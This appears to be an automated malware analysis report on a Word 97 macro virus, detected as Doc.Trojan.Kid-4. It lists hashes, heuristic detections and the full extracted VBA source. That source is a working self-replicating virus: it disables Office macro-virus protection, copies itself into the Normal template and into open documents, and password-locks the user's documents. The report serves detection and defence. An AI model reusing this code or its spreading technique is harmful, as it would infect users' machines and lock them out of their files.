Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 67cb48bce9a58250…

MALICIOUS

Office (OLE)

31.5 KB Created: 1998-02-06 21:08:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7420ec1889d4efe497e8dd98331bdd7a SHA-1: e8204949976f44f8b1f485e67f88898900a39776 SHA-256: 67cb48bce9a58250dec4d44b74e36ec175212254297d5f578db82ebe870daae9
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy WordBasic macro virus, including specific markers and the presence of VBA macros. The AutoOpen, AutoClose, and ToolsMacro subroutines suggest an intent to execute code upon document interaction or closure. The script also attempts to set document passwords and display messages, which are common tactics for older macro malware.

Heuristics 6

  • ClamAV: Doc.Trojan.Kid-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Kid-4
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3772 bytes
SHA-256: 9931490eda5e918dc2bd01df7bb74cff44a042bec9f865f4e4c6e63985e2f4c2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Kid"
Sub KidChaos()
On Error GoTo Kc
If (Rnd() < 0.4) Then
With Assistant.NewBalloon
    .BalloonType = msoBalloonTypeBullets
    .Icon = msoIconTip
    .Button = msoButtonSetOkCancel
    .Heading = "Word97.Kid by KC [SLAM]"
    .Labels(1).Text = "Greetings to SLAM memberz:"
    .Labels(2).Text = "Virtual Daemon, Aurodreph, CyberYoda"
    .Labels(3).Text = "Dark Chakal, Darx Kies, Forms"
    .Labels(4).Text = "RaidX, Stealth Warrior & Trigger"
    .Show
End With
End If
Kc:
End Sub

Sub FileTemplates()
On Error GoTo Ft
If (Day(Now()) > 15) Then
MsgBox "Kid Chaos of SLAM Virus Team", vbCritical, "About... :-)"
ActiveDocument.Password = "KC"
Documents.Close SaveChanges:=wdSaveChanges
End If
Ft:
End Sub
Sub ToolsMacro()
On Error GoTo St
ActiveDocument.Password = "KidChaos"
Documents.Close SaveChanges:=wdSaveChanges
Call KidChaos
St:
End Sub
Sub ViewVBcode()
On Error GoTo Vv
ActiveDocument.Password = "SLAM98"
Documents.Close SaveChanges:=wdSaveChanges
Call KidChaos
Vv:
End Sub

Sub AutoClose()
On Error GoTo Ac
    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone
    Options.VirusProtection = False
    Set ActiveDoc = ActiveDocument
    Set GlobalDoc = NormalTemplate
    DocInf = False
    GloInf = False
    

    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(I).Name = "Kid" Then
            DocInf = True
        End If
   Next
  
   If DocInf = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Kid", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
    End If
    
   For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(J).Name = "Kid" Then
            GloInf = True
        End If
    Next
   
    If GloInf = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Kid", Object:=wdOrganizerObjectProjectItems
    End If
    Application.DisplayAlerts = wdAlertsAll
Ac:
End Sub
Sub AutoOpen()
On Error GoTo Au
    Call KidChaos
    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone
    Options.VirusProtection = False
    Set ActiveDoc = ActiveDocument
    Set GlobalDoc = NormalTemplate
    DocInf = False
    GloInf = False
    

    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(I).Name = "Kid" Then
            DocInf = True
        End If
    Next

    If DocInf = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Kid", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
    End If

  
   For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(J).Name = "Kid" Then
            GloInf = True
        End If
    Next

    If GloInf = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Kid", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
    End If
    Application.DisplayAlerts = wdAlertsAll
Au:
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.